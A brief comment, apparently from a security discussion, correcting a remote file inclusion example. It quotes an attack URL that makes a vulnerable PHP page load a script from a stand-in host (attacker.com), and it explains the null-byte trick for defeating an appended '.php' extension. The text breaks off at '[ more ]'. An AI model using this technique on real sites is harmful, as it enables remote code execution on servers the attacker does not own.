There is a typo:

http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt

that is not the proper exploit to leverage this hole:

require ($page . ".php");

becase of the ".php"

you need to end the attacker's url with a hexed null byte %00 like this:

http://www.vulnsite.com/inde...

[ more ]